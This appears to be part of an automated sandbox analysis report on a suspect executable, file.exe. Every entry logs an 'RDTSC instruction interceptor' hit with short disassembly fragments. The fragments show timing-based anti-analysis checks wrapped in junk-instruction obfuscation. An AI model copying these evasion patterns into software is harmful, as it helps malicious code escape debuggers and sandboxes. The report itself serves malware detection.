Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C774 second address: 102C850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F5700D44698h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr [ebp+122D2F24h], edx 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 or dword ptr [ebp+122D23C2h], edi 0x00000027 mov eax, dword ptr [ebp+122D055Dh] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F5700D44688h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 add dword ptr [ebp+122D2B78h], edx 0x0000004d jmp 00007F5700D44691h 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007F5700D44688h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 0000001Dh 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e or dword ptr [ebp+122D1E1Fh], ebx 0x00000074 sub ebx, 17A70EAAh 0x0000007a nop 0x0000007b jmp 00007F5700D44691h 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 jmp 00007F5700D44697h 0x00000089 pushad 0x0000008a popad 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E633 second address: 102E637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B698 second address: 102B69E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E844 second address: 102E8D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2BBFh], ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F5701148068h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov ebx, ecx 0x00000034 mov edi, dword ptr [ebp+122D1CD1h] 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov dword ptr [ebp+1244941Fh], edx 0x00000047 mov eax, dword ptr [ebp+122D0041h] 0x0000004d push 00000000h 0x0000004f push ebx 0x00000050 call 00007F5701148068h 0x00000055 pop ebx 0x00000056 mov dword ptr [esp+04h], ebx 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc ebx 0x00000063 push ebx 0x00000064 ret 0x00000065 pop ebx 0x00000066 ret 0x00000067 mov dword ptr [ebp+122D296Dh], ecx 0x0000006d push FFFFFFFFh 0x0000006f je 00007F570114806Ch 0x00000075 mov dword ptr [ebp+122D1D0Eh], edi 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f jnl 00007F5701148066h 0x00000085 pushad 0x00000086 popad 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E8D4 second address: 102E8F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5700D44699h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038BDF second address: 1038BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038BE5 second address: 1038BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038BEC second address: 1038BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10386AA second address: 10386AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10386AE second address: 10386E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5701148078h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jbe 00007F5701148066h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10386E8 second address: 10386EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038808 second address: 103880C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E791 second address: 103E7AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Ah 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F5700D44688h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043E29 second address: 1043E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043E2D second address: 1043E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043E33 second address: 1043E68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jmp 00007F570114806Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 jmp 00007F5701148077h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043E68 second address: 1043E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043E6D second address: 1043E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104347D second address: 1043487 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5700D44686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043487 second address: 1043498 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5701148068h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10435EC second address: 10435F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10435F4 second address: 104361C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5701148066h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jnl 00007F5701148066h 0x00000018 jmp 00007F570114806Ch 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1043778 second address: 104377C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104377C second address: 10437A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148072h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a je 00007F5701148066h 0x00000010 jne 00007F5701148066h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10437A4 second address: 10437AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5700D44686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10437AE second address: 10437B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046B6E second address: 1046B73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104B9DE second address: 104BA10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148078h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5701148076h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BA10 second address: 104BA15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FF57 second address: 104FF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FF5B second address: 104FF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jl 00007F5700D44686h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FF6B second address: 104FF70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101B894 second address: 101B8AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44696h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BCFB second address: 101BD01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BD01 second address: 101BD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BD05 second address: 101BD09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BF09 second address: 101BF0E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BFA9 second address: 101BFAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C602 second address: 101C608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C608 second address: 101C60D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C60D second address: 101C613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C613 second address: 101C63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F5701148075h 0x0000000f pop edi 0x00000010 jne 00007F570114806Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C935 second address: 101C941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101C941 second address: 101C945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CA7A second address: 101CAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5700D4468Fh 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edx, dword ptr [ebp+122D1EE2h] 0x00000014 and edx, dword ptr [ebp+122D1C35h] 0x0000001a lea eax, dword ptr [ebp+124803D4h] 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F5700D44688h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a pushad 0x0000003b mov esi, edi 0x0000003d mov dword ptr [ebp+122D2BC9h], eax 0x00000043 popad 0x00000044 jmp 00007F5700D4468Dh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c ja 00007F5700D44698h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CAFA second address: 101CB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CB00 second address: FFBD60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jg 00007F5700D4469Ch 0x00000011 call dword ptr [ebp+122D1E3Ah] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F5700D44691h 0x00000021 jmp 00007F5700D4468Dh 0x00000026 popad 0x00000027 jbe 00007F5700D4468Ah 0x0000002d pushad 0x0000002e popad 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD60 second address: FFBD9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148079h 0x00000007 pushad 0x00000008 jne 00007F5701148066h 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F5701148066h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jbe 00007F570114809Ah 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 jng 00007F5701148066h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC303 second address: FDC315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jns 00007F5700D44686h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F06E second address: 104F089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5701148073h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F089 second address: 104F097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5700D4468Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101BF9D second address: 101BFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F5701148066h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F4DF second address: 104F4EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F5700D44686h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F64C second address: 104F650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F650 second address: 104F659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F7B3 second address: 104F7B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F92C second address: 104F932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F932 second address: 104F940 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F570114806Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F940 second address: 104F94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F94B second address: 104F96C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5701148076h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FA95 second address: 104FAAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5700D44692h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FAAD second address: 104FAE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Bh 0x00000007 jmp 00007F570114806Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5701148076h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FAE2 second address: 104FAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054251 second address: 1054270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148073h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F5701148072h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054270 second address: 1054276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054276 second address: 105427A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054591 second address: 1054597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054597 second address: 105459C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105459C second address: 10545A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10546DA second address: 10546E6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5701148066h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10546E6 second address: 1054707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5700D44686h 0x00000009 jmp 00007F5700D44696h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054FBE second address: 1054FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F570114806Ch 0x0000000b pop edi 0x0000000c push eax 0x0000000d jmp 00007F570114806Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054FE1 second address: 1054FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10552A9 second address: 10552B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F570114806Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10556CF second address: 10556D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10556D3 second address: 10556D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053FE3 second address: 1053FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A5A4 second address: 105A5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A5AA second address: 105A5BA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5700D44686h 0x00000008 jbe 00007F5700D44686h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A5BA second address: 105A5D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F570114806Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A5D0 second address: 105A5EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F5700D44692h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A5EC second address: 105A5F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AA14 second address: 105AA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AB58 second address: 105AB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F570114806Dh 0x00000009 popad 0x0000000a jmp 00007F570114806Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AB74 second address: 105AB85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AD31 second address: 105AD35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AD35 second address: 105AD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B038 second address: 105B03C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B03C second address: 105B042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B042 second address: 105B048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B048 second address: 105B04E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B04E second address: 105B052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
